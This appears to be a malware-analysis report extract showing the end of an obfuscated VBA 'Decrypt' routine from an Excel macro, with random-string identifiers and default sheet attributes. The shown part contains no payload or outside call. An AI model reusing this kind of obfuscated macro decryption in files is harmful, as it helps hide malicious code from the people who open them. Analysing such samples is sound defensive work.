            Decrypt = Decrypt & Mid(LLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRWONHHUZGTETFOUONKSRDUZDBHPQBCGRIWFVYIMHWUUTWOLOERKSTVRESIZXRCXSZFVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQ, FVVPJWHNULUNPCWVSBZLVILJPQXJJOTQFNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJTPKRW, 1)

        Case Else

            Decrypt = Decrypt & FNWHQNIXDDCEWTWMSSBCEZMTPIYZKYBINXEXRFPPDTDVXKXDZJITEQMKQYGRLPCYNOFPRVQGLLKMYCFUBBIKMIUCXQHISHJQOGMYYMRXLVLWGSGLIRJUMRUSYHOSTXKHVWNQZEYOMMLOGKNVJJQMNJVKZYPJT

    End Select

Next

For Fssyh = 1 To Len(enc)

Next

End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.